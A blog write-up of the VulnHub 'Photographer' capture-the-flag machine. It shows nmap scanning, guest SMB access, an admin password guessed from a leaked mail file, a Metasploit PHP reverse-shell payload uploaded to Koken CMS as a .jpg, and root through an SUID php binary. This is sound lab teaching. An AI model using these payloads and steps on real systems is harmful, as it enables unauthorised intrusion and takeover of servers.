Vulnhub Photographer Writeup

Welcome again, friends. Today you will be learning SUID exploitation on another program which is extremely unusual. This is the first time I have seen anyone setting SUID bit on the program

The machine I will be using is provided by VulnHub and is available here –,519/

Download and configure the machine with DHCP, I will start from the reconnaissance phase


The IP address of the box is I have used Nmap to find open ports and run default scripts on them

nmap -sV --min-rate 1000 -sC

The above command gave me 4 open ports, in which two caught my eyes.

  • 8000 – Serving a CMS
  • 445 – SMB

The webapp is running Koken CMS for phototography

The SMB security model uses a guest account which means you can log in to SMB without any password and download the files. I found a share sambashare that contains two files

  • mailsent.txt

On further directory busting I couldn't found any WordPress directory. Later I started looking mailsent.txt file and found a conversation that looked like a developer is giving information to the website owner with some password details. At this time, gobuster has shown me /admin/

After reading and applying naive combinations of the secret "my babygirl", I finally managed to log in to the admin panel on URL using [email protected]:babygirl credentials

Initial Foothold

While searching on in exploitdb database, I found that actually someone has reported this vulnerability and the author has submitted steps to reproduce the bug

Here I have generated a meterpreter reverse shell and renamed it to .jpg file as instructed by the author

msf6 > use payload/php/meterpreter/reverse_tcp
msf6 payload(php/meterpreter/reverse_tcp) > set lhost
msf6 payload(php/meterpreter/reverse_tcp) > set lport 4444
msf6 payload(php/meterpreter/reverse_tcp) > generate -f raw -o image.php.jpg

After tampering request and visiting the web shell URL, I got the reverse meterpreter shell.

Privilege Escalation

Firstly, use the execute command on the meterpreter to get an interactive bash shell. This will save you a lot of time

meterpreter > execute -f /bin/bash -i -a "-i"

After you have done this, spawn a pty shell using python

python -c "import pty; pty.spawn('/bin/bash')"

Use the find command to hunt for SUID binaries. This is the very first step in privilege escalation. If you want a refresher, read these posts first – Demystifying SUID and SGID bits and Exploiting SUID Binaries to Get Root User

I found that /usr/bin/php.7.2 is an unusual file. Since I am not familiar with php, I took help from GTFO bins SUID exploitation of PHP. As soon as I executed the command, it spawned a privileged shell.

Since you have root user permissions, so you can now look for the user.txt file also using the command.

find / -type f -name user.txt -exec cat {} \; 2> /dev/null
Gurkirat Singh

Gurkirat Singh

Hey there everyone, I am Gurkirat Singh (aka tbhaxor). I do full-stack development to fund my own learning and experiments. I am a cybersecurity enthusiast and like sharing my knowledge.